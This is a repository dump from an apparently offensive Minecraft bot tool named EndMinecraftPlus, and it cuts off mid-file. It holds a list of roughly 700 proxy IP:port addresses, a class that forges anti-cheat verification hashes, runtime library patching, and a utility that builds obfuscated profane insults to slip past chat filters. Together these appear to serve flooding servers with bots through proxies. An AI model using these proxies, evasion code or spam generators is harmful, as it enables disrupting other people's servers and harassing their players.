1169 | 216.215.126.106:48324
1170 | 103.66.69.74:4145
1171 | 79.110.114.68:5678
1172 | 213.184.225.80:5678
1173 | 89.22.152.32:6363
1174 | 82.130.202.219:43429
1175 | 36.91.145.5:5678
1176 | 103.144.161.104:8291
1177 | 116.237.130.82:4145
1178 | 190.121.232.122:5678
1179 | 91.222.19.159:5678
1180 | 92.118.202.224:5678
1181 | 174.77.111.198:49547
1182 | 93.116.254.90:1080
1183 | 176.215.191.177:3629
1184 | 195.242.138.20:5678
1185 | 31.41.225.205:45067
1186 | 188.75.186.152:4145
1187 | 103.9.188.138:52269
1188 | 128.199.164.111:45813
1189 | 200.33.152.207:47926
1190 | 103.24.74.102:4153
1191 | 66.42.224.229:41679
1192 | 207.180.204.70:65432
1193 | 45.174.71.1:1080
1194 | 96.69.76.161:5678
1195 | 185.140.124.42:4153
1196 | 190.211.115.66:32298
1197 | 222.191.243.187:45730
1198 | 31.134.75.174:5678
1199 | 82.103.70.227:4145
1200 | 182.71.146.148:5678
1201 | 185.240.80.2:4153
1202 | 46.214.93.158:5678
1203 | 38.142.63.146:31596
1204 | 112.78.175.140:5678
1205 | 36.67.148.35:5678
1206 | 178.148.95.41:5678
1207 | 94.158.152.248:46846
1208 | 179.218.129.252:4153
1209 | 36.67.205.183:5678
1210 | 186.226.171.94:1080
1211 | 191.241.145.111:4153
1212 | 103.109.168.36:5678
1213 | 181.118.158.38:4153
1214 | 180.211.95.14:5678
1215 | 93.100.252.92:5678
1216 | 31.209.105.238:4145
1217 | 162.14.135.190:10800
1218 | 94.182.25.74:4145
1219 | 62.4.51.9:5678
1220 | 85.112.95.42:4153
1221 | 222.92.207.102:40086
1222 | 181.15.154.156:52033
1223 | 93.78.254.219:5678
1224 | 104.238.80.180:58429
1225 | 209.198.43.53:5678
1226 | 45.148.74.251:1081
1227 | 200.35.56.161:44684
1228 | 103.9.114.194:39204
1229 | 95.169.213.76:4145
1230 | 159.192.140.230:5678
1231 | 103.103.52.46:4153
1232 | 197.221.90.54:56810
1233 | 50.238.47.85:32100
1234 | 93.182.76.244:5678
1235 | 114.4.245.54:1081
1236 | 85.237.51.73:4145
1237 | 62.182.114.164:59623
1238 | 43.224.10.27:6667
1239 | 91.203.25.28:4153
1240 | 149.28.75.30:38088
1241 | 59.152.104.138:32075
1242 | 31.171.169.94:5678
1243 | 81.16.251.250:5678
1244 | 198.8.94.170:39074
1245 | 1.179.202.33:5678
1246 | 171.100.8.82:49181
1247 | 67.201.33.10:25283
1248 | 202.124.46.101:4145
1249 | 103.4.118.130:5678
1250 | 138.117.141.27:8888
1251 | 122.55.202.100:4145
1252 | 94.240.24.91:5678
1253 | 178.212.199.95:1099
1254 | 202.62.47.129:5678
1255 | 130.185.213.146:5678
1256 | 167.114.89.169:37666
1257 | 216.183.40.241:39072
1258 | 195.29.155.98:58617
1259 | 186.225.36.122:5678
1260 | 186.224.225.98:4145
1261 | 222.124.135.123:5678
1262 | 201.221.157.162:5678
1263 | 41.60.228.9:5678
1264 | 77.242.24.248:1080
1265 | 213.172.89.227:4153
1266 | 136.25.2.93:5678
1267 | 46.250.17.120:5678
1268 | 91.144.142.19:46138
1269 | 181.129.52.156:44665
1270 | 118.99.67.148:5678
1271 | 157.245.42.58:53749
1272 | 177.72.6.18:4145
1273 | 117.20.56.203:4145
1274 | 91.207.238.107:45627
1275 | 178.205.251.134:4153
1276 | 190.63.174.18:5678
1277 | 104.248.162.187:24076
1278 | 196.3.97.71:5678
1279 | 36.37.180.59:1080
1280 | 202.131.235.138:4153
1281 | 92.204.40.58:9050
1282 | 102.176.162.24:5678
1283 | 166.62.32.44:8181
1284 | 200.167.187.242:5678
1285 | 103.251.225.16:6667
1286 | 195.122.23.100:30159
1287 | 36.94.185.202:5678
1288 | 78.38.67.80:4145
1289 | 185.138.230.68:5678
1290 | 43.241.132.66:4153
1291 | 79.106.246.174:4145
1292 | 103.76.20.155:43818
1293 | 185.17.134.185:31388
1294 | 216.127.113.58:5678
1295 | 179.125.172.210:4153
1296 | 185.236.46.221:5678
1297 | 202.21.103.6:5678
1298 | 213.136.86.246:46915
1299 | 124.158.167.171:5678
1300 | 131.196.13.229:5678
1301 | 14.102.78.67:4145
1302 | 46.188.82.11:54136
1303 | 188.0.117.41:5678
1304 | 81.12.157.98:5678
1305 | 41.207.85.93:5678
1306 | 174.77.111.196:4145
1307 | 113.160.234.147:31797
1308 | 190.54.12.74:5678
1309 | 95.31.5.29:51528
1310 | 177.85.172.135:4153
1311 | 125.26.99.228:44052
1312 | 24.249.199.12:4145
1313 | 154.0.15.166:5678
1314 | 124.158.186.34:5678
1315 | 188.169.142.196:4145
1316 | 181.129.147.27:37251
1317 | 191.102.82.83:4153
1318 | 103.36.11.122:4145
1319 | 131.161.68.41:35944
1320 | 91.205.72.103:6758
1321 | 82.139.187.85:4153
1322 | 201.236.185.14:5678
1323 | 112.78.138.163:5678
1324 | 79.124.72.199:4153
1325 | 203.189.159.161:3629
1326 | 180.180.124.248:49992
1327 | 109.73.178.197:5678
1328 | 155.0.202.254:51327
1329 | 143.255.178.129:4153
1330 | 87.103.174.147:3629
1331 | 49.51.186.129:21127
1332 | 88.213.214.254:4145
1333 | 98.162.96.53:10663
1334 | 195.78.100.162:3629
1335 | 212.22.79.61:5678
1336 | 42.228.3.158:5678
1337 | 177.203.48.179:4145
1338 | 210.48.139.226:4145
1339 | 122.102.36.2:34432
1340 | 84.21.109.151:1080
1341 | 185.89.182.95:1836
1342 | 192.111.138.29:4145
1343 | 190.182.229.11:5678
1344 | 36.95.101.29:3629
1345 | 103.136.203.153:5678
1346 | 31.15.89.51:1099
1347 | 69.55.140.225:64312
1348 | 77.235.221.111:1080
1349 | 81.17.87.42:5678
1350 | 93.63.75.62:1080
1351 | 62.133.135.129:4153
1352 | 103.167.170.62:1080
1353 | 72.223.168.86:57481
1354 | 192.99.247.190:4145
1355 | 91.126.193.121:5678
1356 | 112.221.46.117:4153
1357 | 200.58.250.111:5678
1358 | 45.155.231.53:1080
1359 | 81.95.135.130:4153
1360 | 87.249.212.26:4145
1361 | 177.66.244.100:5678
1362 | 181.129.52.154:44665
1363 | 27.42.168.46:61308
1364 | 150.129.171.123:6667
1365 | 43.245.243.58:5678
1366 | 185.135.234.165:3629
1367 | 190.146.60.76:5678
1368 | 95.140.27.135:59193
1369 | 119.243.95.62:1080
1370 | 103.205.130.94:4145
1371 | 50.237.206.138:64312
1372 | 112.215.33.113:3629
1373 | 88.255.132.182:1080
1374 | 212.225.240.54:3629
1375 | 200.125.44.242:4145
1376 | 120.88.34.92:5678
1377 | 152.200.161.142:5678
1378 | 217.197.252.154:4145
1379 | 47.102.207.157:10800
1380 | 77.108.90.3:1099
1381 | 5.135.24.186:808
1382 | 78.130.211.102:3629
1383 | 177.91.76.34:4153
1384 | 170.0.198.212:4153
1385 | 5.178.217.227:31019
1386 | 37.187.2.79:20156
1387 | 91.106.93.58:5678
1388 | 72.195.114.169:4145
1389 | 31.207.181.32:5678
1390 | 45.66.104.69:44550
1391 | 184.155.36.194:64312
1392 | 103.241.108.206:3629
1393 | 217.219.76.40:4153
1394 | 36.66.167.242:4153
1395 | 200.27.18.138:40210
1396 | 121.200.62.246:4153
1397 | 116.118.98.4:5678
1398 | 185.56.180.14:5678
1399 | 103.240.33.185:8291
1400 | 189.90.63.122:4153
1401 | 170.84.50.226:4153
1402 | 217.64.46.114:5678
1403 | 103.212.93.193:45639
1404 | 106.242.20.219:4145
1405 | 80.76.236.66:3629
1406 | 202.57.46.140:4145
1407 | 181.143.69.27:4145
1408 | 213.149.137.24:4153
1409 | 212.3.70.137:2583
1410 | 175.144.198.226:31694
1411 | 191.97.2.198:5678
1412 | 103.241.227.100:6667
1413 | 190.253.241.254:5678
1414 | 103.235.199.43:5678
1415 | 72.49.49.11:31034
1416 | 188.93.64.242:4153
1417 | 200.220.202.1:4145
1418 | 112.14.47.6:57545
1419 | 161.97.66.62:1000
1420 | 88.220.68.129:5678
1421 | 172.104.60.24:40424
1422 | 72.217.216.239:4145
1423 | 84.22.138.150:4145
1424 | 103.115.255.65:36331
1425 | 51.222.13.193:10084
1426 | 89.36.163.119:4145
1427 | 36.92.143.185:4153
1428 | 95.181.214.105:3629
1429 | 195.98.187.162:3629
1430 | 50.63.13.228:32959
1431 | 121.37.26.217:1080
1432 | 103.131.117.90:4153
1433 | 178.62.32.105:54643
1434 | 87.254.138.170:4145
1435 | 117.102.89.74:5678
1436 | 198.12.121.71:38007
1437 | 109.86.244.225:57649
1438 | 159.224.187.170:5678
1439 | 103.70.159.140:5678
1440 | 202.70.84.201:4153
1441 | 190.144.91.252:4153
1442 | 103.242.175.115:1080
1443 | 72.206.181.105:64935
1444 | 45.142.212.31:30001
1445 | 113.162.84.218:1080
1446 | 152.32.78.24:4145
1447 | 112.78.144.62:4145
1448 | 91.216.66.70:47658
1449 | 45.228.61.26:4153
1450 | 109.86.190.92:1080
1451 | 213.87.103.45:4153
1452 | 89.237.34.190:51549
1453 | 124.107.46.206:5678
1454 | 213.163.126.100:5678
1455 | 119.40.83.242:31841
1456 | 216.51.157.200:1080
1457 | 72.210.252.137:4145
1458 | 46.29.10.43:4153
1459 | 14.232.160.247:10801
1460 | 85.172.38.210:3629
1461 | 118.70.124.34:5678
1462 | 195.140.226.32:5678
1463 | 91.109.199.95:50191
1464 | 184.178.172.5:15303
1465 | 122.248.46.26:4145
1466 | 101.71.154.251:1080
1467 | 168.90.89.238:4145
1468 | 105.235.222.2:5678
1469 | 60.2.44.182:34659
1470 | 175.101.18.25:5678
1471 | 41.215.10.6:4145
1472 | 157.119.201.98:1080
1473 | 94.180.249.187:59723
1474 | 93.175.194.155:3629
1475 | 117.58.245.66:61393
1476 | 194.44.20.112:5678
1477 | 103.211.8.201:52616
1478 | 81.183.253.34:4145
1479 | 36.95.154.249:5678
1480 | 14.102.19.50:5678
1481 | 43.230.62.157:4145
1482 | 102.128.173.1:5678
1483 | 27.74.243.242:5678
1484 | 91.210.47.85:30806
1485 | 36.95.56.58:5678
1486 | 201.184.152.138:44742
1487 | 113.190.40.63:5678
1488 | 23.94.73.246:1080
1489 | 89.133.95.177:4145
1490 | 187.243.253.182:43015
1491 | 45.224.234.10:4153
1492 | 119.15.81.226:5678
1493 | 186.1.181.62:4153
1494 | 43.250.127.98:4153
1495 | 187.11.232.71:4153
1496 | 179.27.86.36:4153
1497 | 103.162.196.90:5678
1498 | 70.185.68.155:4145
1499 | 149.54.12.122:5678
1500 | 125.141.139.197:5566
1501 | 191.6.133.22:4145
1502 | 201.221.128.234:5678
1503 | 103.150.48.26:5678
1504 | 103.44.26.73:5678
1505 | 170.81.35.26:33566
1506 | 105.174.40.238:5678
1507 | 138.99.93.62:4145
1508 | 95.71.125.50:60867
1509 | 202.21.125.198:14153
1510 | 46.98.198.10:5678
1511 | 120.79.173.225:50000
1512 | 188.173.80.140:5678
1513 | 176.31.69.35:19598
1514 | 192.252.209.155:14455
1515 | 213.91.128.99:10801
1516 | 183.88.240.53:4145
1517 | 206.42.35.65:4153
1518 | 87.255.87.176:5678
1519 | 192.111.135.21:4145
1520 | 85.25.118.155:5577
1521 | 121.43.172.193:5555
1522 | 177.128.120.85:5678
1523 | 1.186.82.4:5678
1524 | 148.77.34.200:54321
1525 | 138.68.51.109:9050
1526 | 36.133.17.81:81
1527 | 202.21.115.202:4153
1528 | 138.197.88.158:58873
1529 | 80.75.3.74:1080
1530 | 37.235.24.166:5678
1531 | 206.189.237.58:29754
1532 | 103.150.110.202:9969
1533 | 141.138.182.195:5678
1534 | 36.95.154.11:5678
1535 | 134.236.255.6:5678
1536 | 72.221.164.34:60671
1537 | 195.187.156.2:3629
1538 | 212.174.171.22:5678
1539 | 159.192.121.240:4145
1540 | 103.115.252.26:51372
1541 | 80.85.98.110:5678
1542 | 1.212.157.115:4145
1543 | 190.220.17.34:44253
1544 | 95.43.125.120:4153
1545 | 195.201.31.194:64001
1546 | 109.201.96.222:4145
1547 | 185.14.149.178:4153
1548 | 5.160.72.147:43130
1549 | 185.177.124.13:54321
1550 | 82.117.204.174:5678
1551 | 125.213.216.170:5678
1552 | 95.178.108.189:5678
1553 | 98.178.72.21:10919
1554 | 193.215.41.198:5678
1555 | 117.158.195.135:1080
1556 | 213.14.49.133:5678
1557 | 41.190.233.56:5678
1558 | 192.111.129.150:4145
1559 | 197.232.43.224:1080
1560 | 103.127.63.57:5678
1561 | 216.218.15.48:35703
1562 | 181.143.204.98:5678
1563 | 85.117.56.146:4145
1564 | 222.165.223.140:41541
1565 | 123.203.156.224:65528
1566 | 210.245.51.14:4145
1567 | 69.65.65.178:35727
1568 | 194.28.56.180:3629
1569 | 201.221.133.122:5678
1570 | 218.86.87.171:42086
1571 | 36.71.150.135:5678
1572 | 185.134.96.234:33141
1573 | 67.22.223.9:39593
1574 | 114.6.88.238:36732
1575 | 109.195.102.115:5678
1576 | 188.26.5.254:4145
1577 | 31.43.63.70:4145
1578 | 14.160.23.139:4145
1579 | 103.164.107.118:5678
1580 | 184.185.2.190:4145
1581 | 72.206.181.97:64943
1582 | 120.196.248.88:1081
1583 | 72.195.34.41:4145
1584 | 117.54.201.92:5678
1585 | 119.18.153.50:4153
1586 | 192.111.139.165:4145
1587 | 27.123.1.1:4153
1588 | 109.238.222.1:4153
1589 | 181.196.27.202:5678
1590 | 78.152.119.50:1088
1591 | 152.231.62.172:5678
1592 | 181.209.103.98:5678
1593 | 1.10.141.220:37718
1594 | 190.92.6.86:5678
1595 | 103.164.107.74:5678
1596 | 14.161.17.4:4153
1597 | 82.137.224.193:8291
1598 | 118.123.241.64:10808
1599 | 109.69.161.131:10801
1600 | 50.250.75.153:39593
1601 | 36.137.57.38:81
1602 | 85.30.248.210:4153
1603 | 210.245.51.20:4145
1604 | 192.141.236.3:5678
1605 | 167.250.160.206:4153
1606 | 212.31.100.138:4153
1607 | 176.36.20.67:35356
1608 | 185.252.29.142:1080
1609 | 138.255.240.66:40736
1610 | 95.111.91.50:10801
1611 | 191.243.72.2:4145
1612 | 72.221.232.155:4145
1613 | 103.101.57.92:5678
1614 | 79.106.165.238:39983
1615 | 58.97.194.199:5678
1616 | 190.85.181.210:4145
1617 | 187.102.26.79:35618
1618 | 201.236.203.180:4153
1619 | 168.228.207.98:5678
1620 | 80.78.130.106:3000
1621 | 117.5.36.191:5002
1622 | 158.101.168.59:9050
1623 | 80.191.40.41:5678
1624 | 159.65.116.119:30199
1625 | 89.251.147.97:30048
1626 | 45.73.0.118:5678
1627 | 91.134.137.121:55847
1628 | 98.188.47.150:4145
1629 | 195.242.125.189:1080
1630 | 154.117.212.18:5678
1631 | 91.194.239.122:5678
1632 | 186.190.183.53:5678
1633 | 80.191.169.81:4145
1634 | 180.211.158.90:5678
1635 | 190.210.141.170:5678
1636 | 46.171.28.162:59311
1637 | 93.91.146.30:34350
1638 | 212.200.89.11:4153
1639 | 62.109.31.200:9050
1640 | 102.69.146.168:5678
1641 | 89.25.23.211:4153
1642 | 65.186.60.165:5678
1643 | 87.255.4.21:4153
1644 | 89.249.210.123:5678
1645 | 202.29.218.138:4153
1646 | 102.219.33.98:1080
1647 | 46.173.32.87:4153
1648 | 91.206.148.243:59175
1649 | 182.253.142.5:4145
1650 | 195.135.215.206:4153
1651 | 138.121.198.90:42494
1652 | 188.225.189.228:5678
1653 | 24.216.19.234:9050
1654 | 202.53.172.76:1080
1655 | 80.53.255.194:4153
1656 | 179.189.254.14:5678
1657 | 185.122.144.144:4153
1658 | 173.212.248.58:2087
1659 | 118.99.67.236:5678
1660 | 91.106.64.1:4153
1661 | 49.0.81.219:5678
1662 | 91.213.119.246:46024
1663 | 31.167.220.106:5678
1664 | 182.93.80.59:5678
1665 | 79.124.23.9:4153
1666 | 37.130.4.43:5678
1667 | 1.32.59.217:31981
1668 | 64.139.79.35:54321
1669 | 188.134.9.40:1080
1670 | 117.103.5.134:60113
1671 | 96.72.230.45:34032
1672 | 182.16.171.65:51459
1673 | 92.247.31.37:4145
1674 | 50.207.130.198:54321
1675 | 119.10.177.90:4145
1676 | 176.113.209.13:1080
1677 | 196.2.13.12:4153
1678 | 125.26.4.197:4145
1679 | 122.52.187.137:5678
1680 | 31.146.223.218:56308
1681 | 117.102.119.150:32302
1682 | 190.211.83.201:5678
1683 | 43.224.10.30:6667
1684 | 186.219.96.47:49923
1685 | 91.98.64.222:5678
1686 | 203.189.152.216:5678
1687 | 182.16.245.54:30617
1688 | 83.171.98.69:5678
1689 | 192.252.215.2:4145
1690 | 103.122.105.242:45000
1691 | 82.137.245.41:1080
1692 | 103.31.45.173:4153
1693 | 36.66.71.26:5678
1694 | 200.105.179.250:31247
1695 | 106.245.183.60:4145
1696 | 192.12.113.237:4145
1697 | 185.22.31.227:4153
1698 | 50.233.42.98:30717
1699 | 36.37.202.62:5678
1700 | 1.4.157.35:36202
1701 | 36.92.96.178:5678
1702 | 200.27.110.30:57702
1703 | 92.249.122.108:58749
1704 | 41.79.236.164:1080
1705 | 182.93.85.49:5678
1706 | 93.177.190.203:5678
1707 | 200.58.181.218:4153
1708 | 45.135.233.123:7777
1709 | 1.10.133.149:4145
1710 | 45.81.226.8:7053
1711 | 170.247.43.142:32812
1712 | 185.237.20.218:5678
1713 | 45.251.229.78:5678
1714 | 176.123.220.34:5678
1715 | 103.116.202.241:5678
1716 | 183.89.249.192:4153
1717 | 218.26.101.226:53813
1718 | 144.202.105.234:19050
1719 | 190.121.142.166:4153
1720 | 89.21.77.145:5678
1721 | 54.39.87.232:39721
1722 | 187.111.160.29:34296
1723 | 212.3.146.80:3629
1724 | 82.207.20.247:5678
1725 | 186.10.127.170:4153
1726 | 94.179.131.142:5678
1727 | 177.104.192.122:41443
1728 | 87.247.40.2:5678
1729 | 49.156.42.186:5678
1730 | 213.109.235.89:4153
1731 | 186.31.133.171:5678
1732 | 176.98.95.132:1080
1733 | 187.189.81.144:4153
1734 | 5.172.188.90:5678
1735 | 88.199.82.68:54194
1736 | 94.228.207.45:39603
1737 | 72.195.114.184:4145
1738 | 217.30.253.242:4145
1739 | 109.86.160.82:5678
1740 | 202.141.242.3:55544
1741 | 91.98.62.165:4145
1742 | 62.141.66.110:4145
1743 | 119.3.231.232:8001
1744 | 188.93.235.3:5678
1745 | 212.174.44.16:1080
1746 | 45.67.229.101:30001
1747 | 95.154.104.147:31387
1748 | 80.80.164.164:10801
1749 | 176.236.14.2:4153
1750 | 91.192.201.17:1111
1751 | 85.143.213.2:9050
1752 | 103.101.134.93:5678
1753 | 217.66.206.146:5678
1754 | 1.186.40.2:39651
1755 | 168.227.158.9:4145
1756 | 36.66.8.55:5678
1757 | 119.18.159.67:4153
1758 | 98.162.25.7:31653
1759 | 170.233.148.2:4153
1760 | 154.61.227.8:64312
1761 | 213.165.160.251:5678
1762 | 88.151.251.195:5678
1763 | 71.167.56.3:5678
1764 | 103.26.247.222:5678
1765 | 49.156.42.188:5678
1766 | 193.106.231.145:4145
1767 | 58.215.201.98:38596
1768 | 200.174.228.183:4153
1769 | 168.121.137.122:4145
1770 | 80.191.185.156:5678
1771 | 103.164.107.82:5678
1772 | 144.76.224.49:55738
1773 | 222.252.21.100:5678
1774 | 182.23.49.147:4153
1775 | 222.92.207.98:40086
1776 | 181.129.134.138:5678
1777 | 186.225.32.5:5678
1778 | 195.117.107.190:4145
1779 | 213.240.224.24:5678
1780 | 36.95.84.151:5678
1781 | 190.171.170.70:4153
1782 | 157.119.222.186:4145
1783 | 122.152.53.25:5678
1784 | 186.248.113.158:5678
1785 | 200.29.176.174:4145
1786 | 50.84.203.99:5678
1787 | 117.202.20.66:1088
1788 | 200.146.229.129:8291
1789 | 65.214.140.53:39593
1790 | 163.53.186.250:5678
1791 | 177.223.58.68:48733
1792 | 45.70.238.88:4153
1793 | 79.165.225.234:4153
1794 | 200.102.104.30:4145
1795 | 115.243.111.42:1088
1796 | 1.9.213.114:4153
1797 | 89.171.144.168:5678
1798 | 43.228.131.115:32992
1799 | 181.115.152.114:4153
1800 | 5.22.154.50:32127
1801 | 212.19.7.134:5678
1802 | 167.114.36.197:36020
1803 | 190.205.32.146:5678
1804 | 203.86.239.8:1080
1805 | 80.78.73.91:1080
1806 | 5.133.29.29:5678
1807 | 123.200.22.234:4153
1808 | 168.121.56.6:14880
1809 | 36.66.206.74:5678
1810 | 185.32.181.68:4153
1811 | 49.51.69.212:21127
1812 | 187.216.144.170:5678
1813 | 168.181.123.208:1080
1814 | 125.141.133.99:5566
1815 | 116.206.151.198:4153
1816 | 80.92.181.3:44550
1817 | 101.96.123.20:1080
1818 | 41.223.108.13:1080
1819 | 46.99.188.13:42551
1820 | 187.44.110.157:4145
1821 | 109.224.22.36:51372
1822 | 134.0.63.134:1723
1823 | 181.117.197.105:3629
1824 | 184.178.172.28:15294
1825 | 154.74.140.214:5678
1826 | 51.75.173.161:1080
1827 | 206.189.118.100:18938
1828 | 36.95.74.29:5678
1829 | 1.179.145.101:33109
1830 | 170.238.180.21:4145
1831 | 123.253.124.28:5678
1832 | 129.205.200.89:47309
1833 | 36.66.192.35:38420
1834 | 190.239.24.2:5678
1835 | 170.246.69.243:4145
1836 | 177.101.135.84:5678
1837 | 200.32.105.86:4153
1838 | 182.53.96.56:4145
1839 | 201.157.254.134:4145
1840 | 187.243.250.222:1080
1841 | 184.179.216.133:24630
1842 | 72.252.4.146:4145
1843 | 190.144.167.178:5678
1844 | 201.148.23.131:1080
1845 | 111.92.240.134:45441
1846 | 178.134.153.205:14888
1847 | 94.181.33.149:40840
1848 | 79.98.1.32:34746
1849 | 103.237.77.158:5678
1850 | 177.10.201.170:45780
1851 | 90.181.150.211:4145
1852 | 1.9.167.36:60489
1853 | 218.24.16.198:36180
1854 | 81.163.254.104:3629
1855 | 104.236.45.251:1089
1856 | 41.170.12.92:49142
1857 | 72.195.34.42:4145
1858 | 190.12.95.170:37209
1859 | 185.19.213.56:5678
1860 | 139.159.118.14:5678
1861 | 109.160.116.168:5678
1862 | 170.80.76.70:5678
1863 | 109.167.113.12:4153
1864 | 103.10.99.110:5678
1865 | 79.143.225.152:31270
1866 | 187.1.89.154:5678
1867 | 103.196.53.209:44110
1868 | 213.6.162.158:1080
1869 | 177.129.63.142:4153
1870 |
--------------------------------------------------------------------------------
/src/luohuayu/ACProtocol/ACProtocol.java:
--------------------------------------------------------------------------------
1 | package luohuayu.ACProtocol;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.FileInputStream;
6 | import java.io.IOException;
7 | import java.math.BigInteger;
8 | import java.security.MessageDigest;
9 | import java.security.NoSuchAlgorithmException;
10 | import java.util.zip.GZIPInputStream;
11 | import java.util.zip.GZIPOutputStream;
12 |
13 | public class ACProtocol {
14 |
15 | public byte[] getCheckData(String acFile,String code,String[] md5List) {
16 | try {
17 | byte[] buf1=code.substring(0,30).getBytes();
18 |
19 | FileInputStream in = new FileInputStream(acFile);
20 | byte[] buf2 = new byte[in.available()];
21 | in.read(buf2);
22 |
23 | byte[] buf3=new byte[buf1.length+buf2.length];
24 | System.arraycopy(buf1,0,buf3,0,buf1.length);
25 | System.arraycopy(buf2,0,buf3,buf1.length,buf2.length);
26 |
27 | try {
28 | in.close();
29 | }catch (IOException e2){}
30 |
31 | String result="";
32 | if(md5List!=null) {
33 | for(String md5:md5List) {
34 | result+=md5+",";
35 | }
36 | }
37 | result+=md5(buf3);
38 | return compress(result);
39 | } catch (IOException e) {
40 | e.printStackTrace();
41 | return null;
42 | }
43 | }
44 |
45 | public byte[] compress(String str) {
46 | ByteArrayOutputStream out = new ByteArrayOutputStream();
47 | GZIPOutputStream gzip;
48 | try {
49 | gzip = new GZIPOutputStream(out);
50 | gzip.write(str.getBytes());
51 | gzip.close();
52 | } catch (IOException e) {}
53 | return out.toByteArray();
54 | }
55 |
56 | public String uncompress(byte[] data) {
57 | ByteArrayOutputStream out = new ByteArrayOutputStream();
58 | ByteArrayInputStream in = new ByteArrayInputStream(data);
59 | try {
60 | GZIPInputStream ungzip = new GZIPInputStream(in);
61 | byte[] buffer = new byte[256];
62 | int n;
63 | while ((n = ungzip.read(buffer)) >= 0) {
64 | out.write(buffer, 0, n);
65 | }
66 | } catch (IOException e) {}
67 |
68 | return new String(out.toByteArray());
69 | }
70 |
71 | public String md5(byte[] buf) {
72 | try {
73 | MessageDigest md=MessageDigest.getInstance("MD5");
74 | md.update(buf);
75 | byte[] digest = md.digest();
76 | return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
77 | } catch (NoSuchAlgorithmException e) {
78 | return null;
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/src/luohuayu/EndMinecraftPlus/ASMInject.java:
--------------------------------------------------------------------------------
1 | package luohuayu.EndMinecraftPlus;
2 |
3 | import javassist.ClassPool;
4 | import javassist.CtClass;
5 | import javassist.CtMethod;
6 |
7 | public class ASMInject {
8 | public static boolean inject() {
9 | try {
10 | ClassPool classPool=ClassPool.getDefault();
11 | CtClass ctClass=classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
12 | if(ctClass==null) ctClass=classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
13 | CtMethod method1=ctClass.getDeclaredMethod("key");
14 | method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
15 | CtMethod method2=ctClass.getDeclaredMethod("value");
16 | method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
17 | ctClass.toClass();
18 | return true;
19 | } catch (Exception e) {
20 | return false;
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/src/luohuayu/EndMinecraftPlus/Utils.java:
--------------------------------------------------------------------------------
1 | package luohuayu.EndMinecraftPlus;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.InputStreamReader;
5 | import java.net.URL;
6 | import java.net.URLConnection;
7 | import java.util.Random;
8 | import java.util.regex.Matcher;
9 | import java.util.regex.Pattern;
10 |
11 | public class Utils {
12 | public static void log(String from, Object msg) {
13 | System.out.println("[" + from + "] " + msg);
14 | }
15 |
16 | public static void log(Object msg) {
17 | System.out.println(msg);
18 | }
19 |
20 | public static void log(Object... msg) {
21 | for (Object o : msg) {
22 | System.out.println(o);
23 | }
24 | }
25 |
26 | public static void sleep(long millis) {
27 | try {
28 | Thread.sleep(millis);
29 | } catch (InterruptedException e) {
30 | e.printStackTrace();
31 | }
32 | }
33 |
34 | public static Matcher matches(String str, String regex) {
35 | Pattern mPattern = Pattern.compile(regex);
36 | Matcher mMatcher = mPattern.matcher(str);
37 | return mMatcher;
38 | }
39 |
40 | public static String sendGet(String url) {
41 | String result = "";
42 | BufferedReader in = null;
43 | try {
44 | String urlNameString = url;
45 | URL realUrl = new URL(urlNameString);
46 | URLConnection connection = realUrl.openConnection();
47 | connection.setRequestProperty("accept", "*/*");
48 | connection.setRequestProperty("connection", "Keep-Alive");
49 | connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
50 | connection.connect();
51 |
52 | in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
53 | String line;
54 | while ((line = in.readLine()) != null) {
55 | result += line;
56 | }
57 | } catch (Exception e) {
58 | log("HTTP", "HTTP请求失败: " + e.getMessage());
59 | } finally {
60 | try {
61 | if (in != null) {
62 | in.close();
63 | }
64 | } catch (Exception e) {
65 | log("HTTP", "IO异常: " + e.getMessage());
66 | }
67 | }
68 | return result;
69 | }
70 |
71 | public static String getRandomString(int minLength, int maxLength) {
72 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
73 | Random random = new Random();
74 | int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
75 | StringBuffer sb = new StringBuffer();
76 | for (int i = 0; i < length; ++i) {
77 | int number = random.nextInt(62);
78 | sb.append(str.charAt(number));
79 | }
80 | return sb.toString();
81 | }
82 |
83 | @SuppressWarnings("unchecked")
84 | public static T getCo(String date, T def) {
85 | if (date.equals("")) {
86 | return def;
87 | }
88 | return (T) date;
89 | }
90 |
91 | public static int getCo(String date, int def) {
92 | if (date.equals("")) {
93 | return def;
94 | }
95 | return Integer.parseInt(date);
96 | }
97 |
98 | public static String getcode(int getnum, String cmd) {
99 | String code = cmd.substring(cmd.length() - getnum, cmd.length());
100 | return code.toString();
101 | }
102 |
103 | public static String getclnmsl() {
104 | String msg = getsingleString("啥杀沙莎砂纱", 6) + getsingleString("比必币笔毕碧", 6) +
105 | getsingleString("参惨蚕灿惭餐", 6)
106 | + getsingleString("楞愣堎棱", 4) + getsingleString("尼拟妮泥倪逆", 6) +
107 | getsingleString("吗骂码嘛马玛", 6)
108 | + getsingleString("四思斯司丝似", 6) + getsingleString("了乐勒辣啦", 5) +
109 | getsingleString("是事市匙世式视", 7)
110 | + getsingleString("不布部步捕补埠", 7) + getsingleString("是事市匙世式视", 7);
111 | return msg.toString();
112 | }
113 |
114 | public static String getsingleString(String list, int num) {
115 | String str = list;
116 | Random random = new Random();
117 | int length = random.nextInt(1) % (1 - 1 + 1) + 1;
118 | StringBuffer sb = new StringBuffer();
119 | for (int i = 0; i < length; ++i) {
120 | int number = random.nextInt(num);
121 | sb.append(str.charAt(number));
122 | }
123 | return sb.toString();
124 | }
125 |
126 | public static String getsingleString(String list) {
127 | String str = getsingleString(list, list.length());
128 | return str;
129 | }
130 |
131 | public static String gsp() {
132 | String str = getsingleString(
